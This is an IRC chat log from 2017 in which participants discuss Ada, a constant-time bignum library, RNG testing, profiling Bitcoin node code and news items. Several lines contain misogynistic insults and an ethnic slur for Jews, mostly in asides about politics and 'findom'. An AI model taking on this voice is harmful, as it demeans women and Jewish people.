that's what you meant, but will see. sigh 1647745;1493078795;phf;yeap, i missed the "tech solidarity" thing so i was surprised by the strong "march for science!1" angle, and yes also regulate. 1647746;1493078916;phf;"Upcoming events: Portland" 1647747;1493079324;ben_vulpes;perhaps some day i shall relate the saga of the stillborn "PICOC", or "Portland Independent Chamber of Commerce" or "Californians Attempting to Carve Themselves a Slice of Relevancy by Advertising Their Seriously Cutting-Edge Aid to the Poor Programs" 1647748;1493079378;ben_vulpes;since rebranded as "Business for a Better Portland" 1647749;1493079418;ben_vulpes;why bother to get in bed with the actual power structure when you can just proclaim yourself first biggest best and disrupt them from the outside 1647750;1493079422;ben_vulpes;housing should be free! 1647751;1493084889;phf;asciilifeform: you'll find this amusing, http://www.nncpgo.org. a very odd mixture of good (xdr for serialization, modeled after uucp) and bad ideas (written in go to begin with). but written by a one man cypherpunk, http://www.stargrave.org a stereotypical ru programmer, really into RMS, copyleft, and death metal. guy also wrote http://www.govpn.info and http://www.cypherpunks.ru/gogost/ (a GOST!! implementation in go). former FIDO node. what a c 1647752;1493084889;phf;haracter 1647753;1493084973;phf;one of those by the books 90s хакер но НЕ путайте с крекер, потому что хакер изначально blah blah blah people. i thought they all died out 1647754;1493087169;mircea_popescu;ben_vulpes kinda typical californy nonsense, really. 1647755;1493087206;mircea_popescu;phf as a side point, do you know anyone totally into death methal with a bmi under 30 ? 1647756;1493088070;mod6;hey! it works! Kinda... http://p.bvulpes.com/pastes/zAJ4N/?raw=true 1647757;1493088538;mircea_popescu;whassthis ? 1647758;1493088553;shinohai;\o/ 1647759;1493088867;mod6;oh just me dorking around with Ada. 1647760;1493088880;mod6;just getting my feet wet. 1647761;1493088943;mircea_popescu;a nice. 1647762;1493089287;shinohai;https://www.reddit.com/r/libreboot/comments/66tdds/proposal_for_libreboot_rejoin_gnu_community/ <<< bwahahahaha 1647763;1493089361;mircea_popescu;o noes, the shithead's ploy failed ?! 1647764;1493089540;deedbot;http://trilema.com/2017/items-from-my-newspaper/ << Trilema - Items from my newspaper 1647765;1493089548;shinohai;It's all good now, no moar ragequit because she haz partner. 1647766;1493091444;mod6;http://trilema.com/wp-content/uploads/2017/04/fuckgoats-unboxing-1.jpg << this addressing "scheme" is quite lulzy 1647767;1493091526;mod6;nevermind building numbers or whatever, just go north three screens through the lost woods, west one screen, north one screen, then burn the 3rd bush from the right to find the entrance. 1647768;1493091581;mod6;THIS ISN'T MAIL! IT'S A QUEST! 1647769;1493091731;BingoBoingo;http://www.jameslafond.com/article.php?id=7484 1647770;1493093589;BingoBoingo;pantsuits continue thrashing https://archive.is/VJKNF 1647771;1493093623;mats;http://scmp.com/news/hong-kong/economy/article/2087509/hong-kong-zhuhai-macau-bridge-open-end-year 1647772;1493094500;mats;before i install sks and figure out how to wrangle bdb - someone have a dump of ascii armored pub keys? 1647773;1493094808;ben_vulpes;mats: godspeed 1647774;1493094828;ben_vulpes;sks uses bdb as well? 1647775;1493095237;mats;indeeds 1647776;1493099593;mats;http://sanfrancisco.cbslocal.com/2017/04/24/teens-commandeer-bart-train-in-violent-takeover-robbery-of-passengers-at-coliseum-station lul 1647777;1493123809;asciilifeform;http://btcbase.org/log/2017-04-25#1647772 << i tried this, wasted a great deal of time. you can't get an sks dump by running sks. 1647778;1493123809;a111;Logged on 2017-04-25 04:28 mats: before i install sks and figure out how to wrangle bdb - someone have a dump of ascii armored pub keys? 1647779;1493123835;asciilifeform;unless an ~existing~ sks user gives you a connection 1647780;1493123846;asciilifeform;it resembles trb 'wires' . 1647781;1493124566;shinohai;http://archive.is/2pUP4 <<< Guess Qntra can pack it in huh 1647782;1493124774;asciilifeform;in other lulz, https://archive.is/UfvDj >> 'Entire U.S. Senate to go to White House for North Korea briefing' 1647783;1493124797;mircea_popescu;ahahaha, don't tell me new korea war 1647784;1493124812;mircea_popescu;after being defeated in the middle east pentagon actually figures it'll just move ? 1647785;1493124847;mircea_popescu;mod6 i guess one could organize some great irl arcades here huh. 1647786;1493124910;mircea_popescu;http://btcbase.org/log/2017-04-25#1647776 << can anyone invite them here ? they're evidently in need of a little guidance. 1647787;1493124910;a111;Logged on 2017-04-25 05:53 mats: http://sanfrancisco.cbslocal.com/2017/04/24/teens-commandeer-bart-train-in-violent-takeover-robbery-of-passengers-at-coliseum-station lul 1647788;1493124940;*;mircea_popescu would much prefer a dozen or two usian kids who are willing to commandeer bart trains instead of ten or twenty thousand sillycon valley drones. 1647789;1493124981;asciilifeform;mircea_popescu: supposedly band of 80 ! 1647790;1493124990;mircea_popescu;that'd be cool. 1647791;1493125032;mircea_popescu;http://btcbase.org/log/2017-04-25#1647781 << eh, pedo's just chasing headlines for the next "wikipedia is free and no advertising" advertising drive. 1647792;1493125032;a111;Logged on 2017-04-25 12:49 shinohai: http://archive.is/2pUP4 <<< Guess Qntra can pack it in huh 1647793;1493125051;asciilifeform;then again, band of macaques could probably rob a train of disarmed, 'respectable' office plankton, with 0 effort 1647794;1493125073;mircea_popescu;band of macaques > murder of cs grads. 1647795;1493125167;asciilifeform;this is ye olde 'pirate is ubermensch' thread again, ainnit. 1647796;1493125174;*;shinohai add "Macaque training camps" to the list of necessary items ..... 1647797;1493125916;mircea_popescu;no, this is ye olde "pencildick is untermensch" thread. 1647798;1493125941;mircea_popescu;trying to knock young men down ain't gonna do jack for propping up unmen. 1647799;1493125956;mod6;<+mircea_popescu> mod6 i guess one could organize some great irl arcades here huh. << sure sounds like it. :] 1647800;1493125979;mircea_popescu;lel 1647801;1493126319;mats;asciilifeform: ok thanks for the heads up. can i get a dump of fingerprints from phuctor? i will crawl sks instead 1647802;1493126518;mircea_popescu;lol that salon piece was pretty lulzy. o noes, the thin but vocal layer of unemployed and unemployable "independent women" is getting cut out of politics too, after being cut out of public discourse and the money pie ?!?!?!?! 1647803;1493126540;mircea_popescu;holy shit what will the world do without the opinions of odonnel & her ilk!!11 1647804;1493126557;mircea_popescu;0.nothing percent doesn't matter ?!?! 1647805;1493127005;asciilifeform;http://btcbase.org/log/2017-04-25#1647801 << i'ma publish another db dump later today, you can use that . 1647806;1493127005;a111;Logged on 2017-04-25 13:18 mats: asciilifeform: ok thanks for the heads up. can i get a dump of fingerprints from phuctor? i will crawl sks instead 1647807;1493127022;asciilifeform;mats: what are you thinking of doing ? 1647808;1493127554;mircea_popescu;darn !#s dc pizza returns nothing. 1647809;1493127632;mircea_popescu;ah nm, spelling etc. 1647810;1493128172;mats;asciilifeform: wot analysis and identifying weirdness that pgp will accept but ordinarily silently discard some aspect (wrappers i've looked at don't use verbose flag during import) , ie, a subkey binding like the hpa key 1647811;1493128196;mats;sorry, gpg. 1647812;1493128226;mats;looking to see just how much diddling is going on here 1647813;1493128241;asciilifeform;mats: you might want the raw sks set rather than mine then 1647814;1493128255;asciilifeform;because phuctor's includes only such keys as were successfully eaten by the parser 1647815;1493128277;asciilifeform;(which means, pure rsa, no orc glyphs, no catastrophic malformed packet prior to modulus, etc) 1647816;1493128385;mats;ok 1647817;1493129419;mircea_popescu;in other lulz, some dork using a variety of 104.192.3. ips has been hitting trilema (POST to xmlrpc.php, of course) for what, six months now ? total fucking tards, do 10 requests per second for hundreds of days straight with no results whatsoever and keep at it. 1647818;1493129481;mircea_popescu;yesterday i banned his B block, meaning that instead of getting back the 130ish bytes per request ("please stop beingt stupid" or somesuch) he's now getting a 404. trilema delivers soft 404s, in the sense of loading up an article anyway. idiot's burned half a terrabyte since, which he hopefully has to pay for. because if he does, his entire (large, holy shit) operation is now under water. dun dun dun. 1647819;1493130293;deedbot;http://trilema.com/2017/tuesday-medley/ << Trilema - Tuesday Medley 1647820;1493132091;shinohai;"No me gustan las mujeres ... me dan asco!" 1647821;1493132096;shinohai;my fucking sides. 1647822;1493132114;mircea_popescu;no it is modern art! 1647823;1493132154;shinohai;Trolling that good is indeed an art. 1647824;1493132335;shinohai;Nice crow pic .... I've always had a soft spot for them, they are actually quite smart. 1647825;1493132376;mircea_popescu;these are very different from euro variety. 1647826;1493134615;asciilifeform;http://btcbase.org/log/2017-04-25#1647818 << ~nobody who does this sort of thing, ever pays for ~anything. certainly not for bandwidth. ( and supposing he did -- what's a TB cost at market rate ? fiddybux ? ) 1647827;1493134615;a111;Logged on 2017-04-25 14:11 mircea_popescu: yesterday i banned his B block, meaning that instead of getting back the 130ish bytes per request ("please stop beingt stupid" or somesuch) he's now getting a 404. trilema delivers soft 404s, in the sense of loading up an article anyway. idiot's burned half a terrabyte since, which he hopefully has to pay for. because if he does, his entire (large, holy shit) operation is now under water. dun dun dun. 1647828;1493135842;mircea_popescu;so what, data wagon llc is just giving him free pipe ? 1647829;1493135852;asciilifeform;infected chumpers -- do 1647830;1493135870;mircea_popescu;and infected chumpers -- pay 1647831;1493135891;asciilifeform;well yes. sorta whole 'point' of a worm 1647832;1493135906;mircea_popescu;tis what i meant by "idiot", also. 1647833;1493135918;asciilifeform;aah lolk 1647834;1493137245;shinohai;!~blocks 1647835;1493137246;jhvh1;shinohai: 463457 1647836;1493140791;deedbot;http://www.contravex.com/2017/04/25/how-developmentally-stunted-ingrates-like-bram-cohen-imagine-bitcoin-mining-companies/ << » Contravex: A blog by Pete Dushenski - How Developmentally Stunted Ingrates Like Bram Cohen Imagine Bitcoin Mining Companies 1647837;1493144043;ben_vulpes;http://btcbase.org/log/2017-04-25#1647802 << [Anna March] is at work on an essay collection, "Feminist Killjoy". also http://www.annamarch.com/wp-content/uploads/2013/03/10311349_637458956332337_2729010927784395672_n-e1410903416249.jpg 1647838;1493144043;a111;Logged on 2017-04-25 13:21 mircea_popescu: lol that salon piece was pretty lulzy. o noes, the thin but vocal layer of unemployed and unemployable "independent women" is getting cut out of politics too, after being cut out of public discourse and the money pie ?!?!?!?! 1647839;1493144082;mircea_popescu;is this good for fiatcoin ? 1647840;1493144232;asciilifeform;http://archive.is/PFvo7 << in other lulz >> 'Multiple shareholders stood and yelled at the board of directors and Chief Executive Tim Sloan. The shareholders were angry about the bank's creation of as many as 2.1 million phony accounts in customers' names.' 1647841;1493144311;ben_vulpes;definitely good for the lulzconomy 1647842;1493144322;ben_vulpes;lulzcownomy? 1647843;1493144335;ben_vulpes;lol cow anomie 1647844;1493144337;trinque;same color scheme as mcdonalds. relevant. 1647845;1493144382;ben_vulpes;w also similar in shape to upside down double arches 1647846;1493144396;ben_vulpes;shadow corporatocracy signaling its cronies 1647847;1493145334;asciilifeform;and now for Something Completely Different >> http://bisqwit.iki.fi/story/howto/bitmath << one of those rare 1990s-style actually-useful www . 1647848;1493145405;ben_vulpes;404's for me 1647849;1493145416;ben_vulpes;ah, trailing slash necessary 1647850;1493145428;asciilifeform;the 404 is pretty great tho 1647851;1493145433;ben_vulpes;and how 1647852;1493145469;asciilifeform;http://bisqwit.iki.fi/story/howto/bitmath/ << for the cache bot. 1647853;1493145504;ben_vulpes;asciilifeform: great link 1647854;1493147705;mircea_popescu;o no, don't tell me... the fiat empire consists principally of dead souls ?! which have bank accounts and facebook accounts and read the new yorker and vote pantsuit ?! 1647855;1493147955;asciilifeform;apparently old noose, e.g. http://archive.is/RUnBw 1647856;1493148024;asciilifeform;the best part: 'Fargo CFO John Shrewsberry told 500 senior Wells Fargo execs in a conference call that the scandal would not affect third-quarter earnings "much." ' 1647857;1493148110;asciilifeform;it isn't as if wf were a company, in the customary sense -- it's a usg organ, like microshit. 'tbtf' 1647858;1493148152;mircea_popescu;aha. 1647859;1493148168;asciilifeform;berkshire, iirc, owns 24B usd of it. 1647860;1493148214;asciilifeform;'Wells Fargo said it had fired 5,300 employees found to have defrauded customers.' << gold 1647861;1493148273;asciilifeform;because - somehow - each of 5,300 (and strictly this number) did it on own, personal lark. 1647862;1493148914;mats;https://www.badgecameras.com/graphic-san-diego-police-chase-helo-flir-ends-brutal-suicide 1647863;1493148928;mats;bonus footage: dog takes a dump at the end 1647864;1493149251;shinohai;http://www.sikoba.com/www/presale/index.html <<< You just can't make these lulz up 1647865;1493149281;shinohai;Perhaps if I send then an IOU for the presale tokens all will be good? 1647866;1493151552;mircea_popescu;lol "the sikoba platform" 1647867;1493151567;mircea_popescu;dorks learned ~0 since dotcom bubble burst did they. 1647868;1493151610;mircea_popescu;o check it out, you get 60% more worthless shit if you send 10 ethereum than if you send 40. 1647869;1493151667;ben_vulpes;impressive splatter on that one 1647870;1493154815;phf;http://btcbase.org/log/2017-04-25#1647755 << i think this is more of an american thing (and derivative cultures), because ru death metal fan stereotype is a lanky guy with long hair 1647871;1493154815;a111;Logged on 2017-04-25 02:26 mircea_popescu: phf as a side point, do you know anyone totally into death methal with a bmi under 30 ? 1647872;1493154883;phf;like this random guy http://static.diary.ru/userdir/1/0/2/5/102541/31880545.jpg 1647873;1493155183;phf;actually lurkmore has the proper illustration >> http://lurkmore.so/images/b/b0/Doomres8by.gif 1647874;1493158206;mircea_popescu;aha! 1647875;1493158226;pete_dushenski;hory shit vitalik speaks fluent mandarin https://twitter.com/cnLedger/status/856646381133381632 1647876;1493160488;pete_dushenski;mats: heh quite the kaboom 1647877;1493162186;asciilifeform;in other magas, https://archive.is/SaZEV >> 'A federal judge in California on Tuesday temporarily blocked the Trump administration’s efforts to withhold funding from cities that limit their cooperation with federal immigration enforcement...' 1647878;1493162220;asciilifeform;'San Francisco and Santa Clara County, which had asked the judge for an injunction, “have a strong interest in avoiding unconstitutional federal enforcement and the significant budget uncertainty that has resulted from the Order’s broad and threatening language,” the judge wrote, referring to Mr. Trump’s January executive order on immigration.' 1647879;1493162221;asciilifeform;didjaknow. 1647880;1493163339;pete_dushenski;https://archive.is/kb67L << "Here in the identity division at Microsoft, we don’t like passwords any more than you do! So we’ve been hard at work creating a modern way to sign in that doesn’t require upper and lowercase letters, numbers, a special character, and your favorite emoji." 1647881;1493163352;pete_dushenski;"With phone sign-in, we’re shifting the security burden from your memory to your device. Just add your account to the Android or iOS Microsoft Authenticator app, then enter your username as usual when signing in somewhere new. Instead of entering your password, you’ll get a notification on your phone. Unlock your phone, tap “Approve”, and you’re in." 1647882;1493163382;pete_dushenski;sounds like the future fo sho. 1647883;1493163400;asciilifeform;nah, fyootor is 'log in with your rfid cranial implant' 1647884;1493163616;trinque;!~bible rev 13:16 1647885;1493163617;jhvh1;trinque: [KJV] Revelation 13:16 :: And he causeth all, both small and great, rich and poor, free and bond, to receive a mark in their right hand, or in their foreheads: 1647886;1493163731;pete_dushenski;and that's how you end up with hebes wrapped in t'filin 1647887;1493163764;trinque;tinfoil t'filin ? 1647888;1493163789;pete_dushenski;as long as there's a little prayer scroll in all the tinfoil! 1647889;1493163798;trinque;lol 1647890;1493163847;*;pete_dushenski has worn. once. at 'wall'. 1647891;1493163971;pete_dushenski;don't think it brought me much closer to hashem. just have to wait for musk's tesla'filin for my salvation! 1647892;1493169362;danielpbarron;apparently one of the firms developing that tech has a building at 666 5th Ave NYC 1647893;1493170542;mod6;my second run on the 2nd FG out of my bunch has completed. results here: http://www.mod6.net/fg/fg-test/fg2.ent_run2.txt http://www.mod6.net/fg/fg-test/fg2.dieharder_run2.txt 1647894;1493170578;asciilifeform;neato mod6 1647895;1493170740;asciilifeform;incidentally i had a thought re what an 'ideal dieharder' might look like. 1647896;1493170783;asciilifeform;imho it ought to return an ~algo~ for attempting a better-than-chance prediction of nth bit, given n; 1647897;1493170825;asciilifeform;or of k-th bit, given bits k_i-j ... k_i , for some j. 1647898;1493170848;asciilifeform;because that's, really, what alleged 'weakness' means -- that you can say 'can predict...' 1647899;1493170923;asciilifeform;this generalization also exposes what exactly the 'minimal sample' is, likewise. 1647900;1493170972;asciilifeform;for very short input, algo will be likewise short. for long, well-entropic -- long. for long, poorly-entropic -- short. 1647901;1493171002;asciilifeform;the scalarization of 'weakness' is an absurdity. gotta make this -- specific -- claim. 1647902;1493171032;asciilifeform;* of k_i+1st bit 1647903;1493171072;asciilifeform;ideally this output (algo) would consist of a runnable lisp proggy. 1647904;1493171086;asciilifeform;that way you do not have to wonder wtf the particular test consisted of. and can immediately replicate. 1647905;1493171102;asciilifeform;(without a copy of the tester, even.) 1647906;1493171133;asciilifeform;btw i now realize that this entire idea isn't asciilifeform's, but actually greg chaitin's. 1647907;1493171134;asciilifeform;from 1990s. 1647908;1493171141;asciilifeform;described in almost exactly these terms. 1647909;1493171152;asciilifeform;but i haven't the original paper at hand, this is a 20y+ memory. 1647910;1493171164;asciilifeform;( if anyone recalls where this was -- plz post !! ) 1647911;1493171251;asciilifeform;until somebody suggests a better name, i'ma call this hypothetical method 'die maximally hard'. 1647912;1493171260;asciilifeform;(dmh). 1647913;1493171270;mod6;heheh. i'll look for the posting 1647914;1493171308;*;asciilifeform quite enjoyed the ru sphere's name for dieharder, 'умри тяжело' 1647915;1493171344;asciilifeform;( approx. 'go and die a hard death' ) 1647916;1493171424;asciilifeform;poor ol' english folx, have not only toilet and sink in same rooms, but imperative same as infinitive verb... 1647917;1493171668;mircea_popescu;asciilifeform this is a pretty hard standard though. 1647918;1493171803;mod6;not sure that this is it, but a decent read anyway: https://www.cs.auckland.ac.nz/~chaitin/sciamer.html 1647919;1493172456;mod6;!~s Ada Big_Number 1647920;1493172457;jhvh1;mod6: Error: "s" is not a valid command. 1647921;1493172484;mod6;inconceivable 1647922;1493172748;shinohai;!~google Ada Big_Number 1647923;1493172749;jhvh1;shinohai: Arbitrary length integer in Ada - Stack Overflow: ; The Big Number Page: ; Ada –A Crash Course - VTC - Vermont Technical College: 1647924;1493173072;mod6;I guess what I was looking for was this: http://btcbase.org/log/2017-03-29#1633709 1647925;1493173072;a111;Logged on 2017-03-29 12:08 asciilifeform: http://btcbase.org/log/2017-03-29#1633699 << it is a notbad library to study (no external deps!) -- but it DOES use heap. 1647926;1493173108;mod6;I was thinking today about a ~tmsr~ crypto lib, and it starts (probably) thinking about bignum 1647927;1493173243;mod6;I did run across one on shithub that was implemented with a linkedlist. this seems like exactly what we wouldn't want. 1647928;1493173681;asciilifeform;http://btcbase.org/log/2017-04-26#1647926 << funnily enough, it's what i'm polishing for release as we speak. 1647929;1493173681;a111;Logged on 2017-04-26 02:18 mod6: I was thinking today about a ~tmsr~ crypto lib, and it starts (probably) thinking about bignum 1647930;1493173694;mod6;! 1647931;1493173722;mod6;That's exciting asciilifeform 1647932;1493173724;asciilifeform;since mod6 mentioned subj, i'll say a bit 1647933;1493173766;asciilifeform;thing is optimized for -- strictly -- constant (always-worst-case) time and space usage; and fits-in-head (in that order) 1647934;1493173873;asciilifeform;so not only , e.g., comparison, but addition, subtraction, take same number of ops regardless of what bits are set 1647935;1493173902;asciilifeform;and all ints have fixed max width ( set at warmup ) 1647936;1493173911;mod6;aha. ok. 1647937;1493173945;mod6;this is pretty similar to the semi-counterintuitive idea i had been thinking about -- or more probably, was remembering from a previous discussion in here about the same. 1647938;1493173946;asciilifeform;no normalization, either - adding 8kb of zero to another 8kb of zero takes same time as any other possible pair of 8kb bitstrings. 1647939;1493173959;mod6;right on. very cool. 1647940;1493173966;asciilifeform;and no seekritbit-dependent branches. 1647941;1493173970;asciilifeform;anywhere. 1647942;1493173983;asciilifeform;( in the arithm ops, that is ) 1647943;1493174039;asciilifeform;for some peculiar reason, everybody else (afaik) who implemented a bignumtron, only did this (or claimed, at any rate) for modular exponentiation -- but not for its subcomponent ops 1647944;1493174131;asciilifeform;the usual argument is 'that'd be slow' 1647945;1493174166;asciilifeform;but that's transparently bogus, rsa has 0 business ever running in anything but worst case spacetime 1647946;1493174204;asciilifeform;( and on encrypt, as well as decrypt end ! leaking plaintext isn't more forgivable on transmitter end than on receiver ) 1647947;1493174337;mircea_popescu;so how slow is it ? 1647948;1493174541;asciilifeform;mircea_popescu: the only palpably slow knob is prime-finding 1647949;1493174596;asciilifeform;(several min. on pc with no entropy bottleneck (i.e. FG present)) 1647950;1493174625;mod6;my re-run of eatblock is complete... will re-post stats etc here in a bit 1647951;1493174646;mod6;asciilifeform: cool 1647952;1493174693;asciilifeform;aim is to cap the thing at its current ~1000 ln. 1647953;1493174718;asciilifeform;short and simple enough for even exceptionally impatient folx to read and grasp. 1647954;1493174806;mod6;very exciting stuff 1647955;1493174847;asciilifeform;actually-- deadly boring stuff. and intentional. 0 surprises. 'schoolboy' algos for just about all arithm ops. 1647956;1493175302;asciilifeform;http://btcbase.org/log/2017-04-26#1647918 << was quite exactly this idea, but it also had the lisp outputs iirc 1647957;1493175302;a111;Logged on 2017-04-26 01:56 mod6: not sure that this is it, but a decent read anyway: https://www.cs.auckland.ac.nz/~chaitin/sciamer.html 1647958;1493175390;asciilifeform;http://btcbase.org/log/2017-04-26#1647917 << imho it's the only sane standard. rng 'weakness' can only be expressed properly as a 'predictor'. anything else is 'suggestively named token' 1647959;1493175390;a111;Logged on 2017-04-26 01:54 mircea_popescu: asciilifeform this is a pretty hard standard though. 1647960;1493175417;mod6;<+asciilifeform> actually-- deadly boring stuff. and intentional. 0 surprises. 'schoolboy' algos for just about all arithm ops. << that's just it though. excitingly boring. 1647961;1493175425;asciilifeform;lol! 1647962;1493175522;asciilifeform;mircea_popescu: so, to take example, if you found a rng that turns out to emit digits of pi -- the proof-of-weakness will be plouffe's algo. 1647963;1493175538;mircea_popescu;plouffe's algo took until 2010 to be spit out. by plouffe. 1647964;1493175547;mircea_popescu;notwithstanding it is trivial in that "olympiad problem" sense. 1647965;1493175562;asciilifeform;2001 iirc 1647966;1493175567;mircea_popescu;right. 1647967;1493175578;mircea_popescu;my 2001 is alt-spelled. 1647968;1493175606;asciilifeform;but note that it dun have to be 'nth digit' , can also be 'next digit', o(n) , works just as well. 1647969;1493175617;asciilifeform;for weakness proof. 1647970;1493175634;mircea_popescu;the principle of the thing though. it is an exceptionally hard standard 1647971;1493175647;mircea_popescu;not without theoretical merit ; but in practice imponderable. 1647972;1493175874;asciilifeform;on the contrary -- all of the classical tests can be cleanly rewritten in this form 1647973;1493175890;asciilifeform;at least, all of the meaningful ones... 1647974;1493175931;asciilifeform;we aren't speaking of an ~optimal~ predictor, note 1647975;1493175942;asciilifeform;( that's provably undecidable ) 1647976;1493175960;asciilifeform;but of ~any~ better-than-chance predictor. 1647977;1493176028;asciilifeform;any rng test can be rewritten as a producer of a predictor. or the test is rubbish. 1647978;1493176187;asciilifeform;possibly the pi example was a poor one -- no ~automated~ tester, will ever find it, unless specifically made to 1647979;1493176263;asciilifeform;( the digits of pi do not autocorrelate, as far as anybody ever publicly found, in any other way ) 1647980;1493181102;ben_vulpes;https://blog.buoyant.io/2017/04/25/whats-a-service-mesh-and-why-do-i-need-one/ << "everything must run over http" monomania in full effect 1647981;1493181194;ben_vulpes;parts of it have an odd feel, as though i were reading altcoin propaganda from another dimension 1647982;1493183204;mod6;Ladies and Gentlemen of The Most Serene Republic: My Second Offline Eatblock Sync Test is complete (with DB Read Wait Stats): http://www.mod6.net/eatblock-test/ 1647983;1493183254;mod6;I have updated all the statistics, charts, and commentary in place. 1647984;1493183287;mod6;Thanks to diana_coman for the help with gnuplot! 1647985;1493183697;mircea_popescu;o hey 1647986;1493183852;mircea_popescu;mod6 maybe i'm thick, but where's the per-line timing per block ? 1647987;1493184232;mod6;hi 1647988;1493184273;mod6;if you're looking at this chart: http://www.mod6.net/eatblock-test/trb_offline_eatblock.png 1647989;1493184320;mod6;this is built from this line in the debug.log, for example: "ProcessBlock (res == 1) took : 2901ms; db write wait: 313ms; db read wait: 155ms " 1647990;1493184355;mod6;the red lines are the first number after "took", so in the case of the example above, ProcessBlock took 2901 milliseconds. 1647991;1493184364;mod6;is that what you're asking? 1647992;1493184876;mod6;It wouldn't take much more effort to add the AcceptBlock values into the trb_offline_eatblock.png if that's wanted. 1647993;1493184913;mircea_popescu;what i was looking for was, supposing the whole of trb looks like : http://wotpaste.cascadianhacker.com/pastes/YOK7i/?raw=true then something like : http://wotpaste.cascadianhacker.com/pastes/qGO07/?raw=true 1647994;1493184919;mircea_popescu;literally, time per line of code per block. 1647995;1493184971;*;mod6 looks 1647996;1493185013;mod6;ah. ok. 1647997;1493185029;mircea_popescu;kinda give a time heatmap for the whole codebase, as it were. 1647998;1493185115;mircea_popescu;asciilifeform "specifically made to" means a lot less than it appears to, for reasons such as euler's equality etc. pi is a fundamental constant, it's everywhere. 1647999;1493185162;mod6;sure. i missed that point completely - was just putting some stats together from alf's timer/odometer vpatches. i think something along the lines of what you're referring to takes deeper, or much more extensive instrumentation / profiling. 1648000;1493185229;mod6;asciilifeform: unless I'm missing something major from one of your vpatches? (i've also posted my debug.log -- please take a second to see if I'm missing something major if you have a spare one) 1648001;1493185278;mod6;but, in any case, I could work on further analysis like that, mircea_popescu 1648002;1493208872;asciilifeform;mod6: you didn't miss any patch 1648003;1493208926;asciilifeform;mod6: and mircea_popescu seems to br asking for gprof raw out 1648004;1493208948;asciilifeform;this is easy to get, but he ouhta read http://yosefk.com/blog/how-profilers-lie-the-cases-of-gprof-and-kcachegrind.html first. 1648005;1493208988;asciilifeform;*be asking 1648006;1493209401;asciilifeform;and fwiw i did not use gprof when i determined where to put the timer -- i used an actually clueful initial hypothesis, and an outer timer ( on ProcessBlock, which was the item of interest ) to compare the output of various inner ones against. 1648007;1493209436;mircea_popescu;http://btcbase.org/log/2017-04-26#1648004 << no i know, but it can't hurt to have 1648008;1493209436;a111;Logged on 2017-04-26 12:15 asciilifeform: this is easy to get, but he ouhta read http://yosefk.com/blog/how-profilers-lie-the-cases-of-gprof-and-kcachegrind.html first. 1648009;1493209453;mircea_popescu;moreover, there's not that many published large codebase sort of thing. in fact, this may be the largest ever. 1648010;1493209612;asciilifeform;1 snag is that -- afaik -- gprof doesn't work with static bins, or musl. 1648011;1493209634;mircea_popescu;mm. doesn;t it ? 1648012;1493209650;asciilifeform;iirc. 1648013;1493209783;asciilifeform;https://web.eecs.umich.edu/~sugih/pointers/gprof_quick.html << gprof likbez, if anyone wants to try. 1648014;1493211978;mod6;aha, ok thanks for the info alf. 1648015;1493212006;mod6;will start looking into that. no reason why I cant set that up and do another run. 1648016;1493212046;mircea_popescu;mod6 he has a point, it is a pit of vipers, but at least we'd know. 1648017;1493212197;mircea_popescu;asciilifeform for one thing, the yossi kreinin piece doesn't EVEN USE an actual program. and this "let's imagine" fluff is pretty much peak data in this "field" of "cultured folks". naimean ? 1648018;1493212423;mircea_popescu;(for the record, his "proper fixation" quote is opaque. fixation is generally used in medicine, but histopathology branch thereof, to denote preparation of microscope slides. if he means "tying up the person", i'd guess that'd be proper affixation or something (not really affixation, that's a grammar term of art), though it's entirely disused.) 1648019;1493212442;mircea_popescu;proper affixion* 1648020;1493212655;asciilifeform;mircea_popescu: unfortunately the d00d is quite correct in his description of the mechanism. gprof doesn't work in the obvious, sane way ( a mechanized version of what i did -- per-routine timer ) but using randomized sampling. 1648021;1493212656;mod6;ah, herp. missed that part about the statics & musl 1648022;1493212689;shinohai; Was in a discussion this morning with someone regarding mircea_popescu 's "How to take control of your provider" piece and was shown this horror: https://twitter.com/SarahDiAvola/status/857214088471953409 1648023;1493212728;mircea_popescu;asciilifeform ah no dispute as to the theory. just ... practice kills us. 1648024;1493212759;mircea_popescu;shinohai on a scale of 1 to nuts, that's not even cashews. 1648025;1493212814;mircea_popescu;also, ask her for me how does she know to open "the ones with $" without reading the rest. 1648026;1493212832;mircea_popescu;"i read a book i like twice, but books i don't like i don't read at all!11" 1648027;1493212850;shinohai;I had never seen that particular device, and boy have I seen some strange ones. 1648028;1493212871;mircea_popescu;she's got a very nice bj, actually. who dunnit ? 1648029;1493212895;asciilifeform;reminds me of the dream i just woke up from -- where i found a way to send a bit backwards in time 1648030;1493212984;shinohai;Most of the girls won't answer their DM's unless sent > $20 fee. Answering these emails for select ladies could be profitable for me if they'd only pay in Bitcoin. 1648031;1493213089;mircea_popescu;twitter takes a fee ? 1648032;1493213120;shinohai;Nope, the findom girls do tho. 1648033;1493213362;asciilifeform;https://archive.is/NieCy << in other lulzies 1648034;1493213535;mircea_popescu;shinohai how does she know what to read ? 1648035;1493213573;mircea_popescu;asciilifeform imbecile somehow missed the point that last reverted "upgrade" got "majority" within a week. 1648036;1493213599;mircea_popescu;!!rate rick falkvinge -10 doddering imbecile, entirely unqualified to speak publicly on any matter. 1648037;1493213755;shinohai;I dunno yet for sure, seems each of the greedy bitches has a different method. I'm sure eventually I can automate this too. 1648038;1493213821;mircea_popescu;basicallty, their method is lie(); 1648039;1493213830;mircea_popescu;though some just use pretend() 1648040;1493213910;shinohai;The whole of their twitter empire is an illusion, not that I care how much they lie as long as *my* payment is forthcoming. 1648041;1493213984;shinohai;But yes, pretend makes up majority of shitposts in attempt to make themselves appear in demand. 1648042;1493213989;mircea_popescu;the whole "findom" business is a rather funny comment on female behaviour and the nature of the human brain. so out of all the services freeranged cunt could provide to substitute the wife in man's daily economy, "taking his paycheck" is certainly the least useful. but then again as far as the woman's concerned, it's why she got married in the first place. 1648043;1493214002;mircea_popescu;so... let's offer the... service of... doing what we wanted to do anyway. this is a business proposition, now. 1648044;1493214028;*;shinohai recalls one girl who used fakeinvoicegenerator.com or somesuch to make it appear subs were paying. 1648045;1493214033;mircea_popescu;and "it works" because IT HAS TO, because hey, americans, wholly brain rotten, "can do anything". and if you can you must and therefore let's claim and nobody'll give us the lie because everyone's in the same rut. 1648046;1493214041;shinohai;Didn't bother to crop the url from screenshots 1648047;1493214049;mircea_popescu;shinohai it happens, but it happens like it happens in browser games. 1648048;1493214056;mircea_popescu;ie, you get lucky. most don't. 1648049;1493214141;mircea_popescu;then those who do lord it over the ones who don't, irrespective of how they had ~no merit in it, then those who don't get frustrated and double down their efforts because hey, it's personal now, and that's how women judge their self worth, and so on and so forth. 1648050;1493214182;mircea_popescu;if the academia scam weren't there to extract the ones with iq > room temp from "street lyfe", we'd be stuck fishing this end of the lulz pond rather than campuses. 1648051;1493214194;shinohai;lol 